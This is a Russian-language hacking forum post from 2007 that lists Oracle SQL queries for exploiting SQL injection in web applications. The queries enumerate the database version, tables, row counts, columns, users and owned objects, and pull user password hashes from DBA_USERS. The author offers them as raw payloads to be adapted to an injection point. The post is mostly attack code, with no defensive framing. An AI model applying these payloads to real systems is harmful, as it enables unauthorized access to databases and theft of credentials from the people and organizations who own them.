HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

SQL Injection в Oracle. Интересные запросы.
  #1  
Старый 31.08.2007, 15:17
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами: 9999746

Репутация: 1318


По умолчанию SQL Injection в Oracle. Интересные запросы.

SQL Injections веб-приложений, основанных на сервере баз данных Oracle неплохо освещены в соответствующих FAQ. Они имеют свои тонкости, отличные от инъекций в других базах данных. Но просматривая FAQ я не увидел подробной информации о том, что же можно поиметь с инъекций... Чтож, давайте развеем пелену таинственности над Oracle. Итак запросы:

-- Получение данных о версии Oracle (будет несколько строк, обычно 5)
SELECT * FROM V$VERSION;

-- Получение данных о версии Oracle по строкам с перебором по ROWNUM
SELECT T.B FROM (SELECT ROWNUM R, BANNER B FROM V$VERSION) T WHERE R=X

-- Получение имён всех таблиц в БД
SELECT TABLE_NAME FROM SYS.ALL_TABLES;

-- Перебор имён таблиц по заданному NUMROW (возвращается одна строчка)
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R=X

-- Перебор имён таблиц по заданному NUMROW из диапазона (возвращается несколько строк)
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R BETWEEN X AND X

-- Перебор имён таблиц по заданному NUMROW c увеличением позиции (возвращается несколько строк)
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R>=X

-- Получение количества записей в заданной таблице через NUMROW
SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR FROM SYS.ALL_TABLES) T WHERE R=X

-- Получение количества записей в заднной таблице через имя таблицы
SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE TN='...';

-- Перебор имён таблиц по заданному NUMROW в таблицах текущего пользователя (возвращается одна строчка)
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.USER_TABLES) T WHERE R=X

-- Получение имён всех колонок в заданной таблице
SELECT COLUMN_NAME FROM USER_TAB_COLUMNS WHERE TABLE_NAME='...';

-- Перебор имён колонок в заданной таблице по ROWNUM
SELECT T.CN FROM (SELECT ROWNUM R, COLUMN_NAME CN FROM USER_TAB_COLUMNS WHERE TABLE_NAME='...') T WHERE R=X

-- Получение информации о типе заданной колонки в заданной таблице
SELECT DATA_TYPE FROM USER_TAB_COLUMNS WHERE TABLE_NAME='...' AND COLUMN_NAME='...';

-- Получение имён пользователей в базе данных
SELECT USERNAME FROM USERS;

-- Альтернативный метод получения объектов (таблицы, последвательности и синонимы) для заданного пользователя
SELECT TABLE_NAME FROM ALL_CATALOG WHERE OWNER='...';

-- Получение имён всех объектов заданного пользователя (индексы, таблицы, ограничения и т.д.)
SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER='...'

-- Получение хеша пароля (SHA1) заданного пользователя, но для этого нужны привелегии DBA
-- При нормальной настройке 99.99% что их не будет
SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='...'

Разумеется, это сырые запросы и вам всё равно перед их использованием придётся подбирать количество столбцов, определять куда какое поле выводится, и какой тип значения можно засунуть в выводимое поле. Но об этом читаем FAQ.
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL Injection: Modes of Attack, Defence, and Why It Matters bxN5 Forum for discussion of ANTICHAT 1 09.04.2007 19:07



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.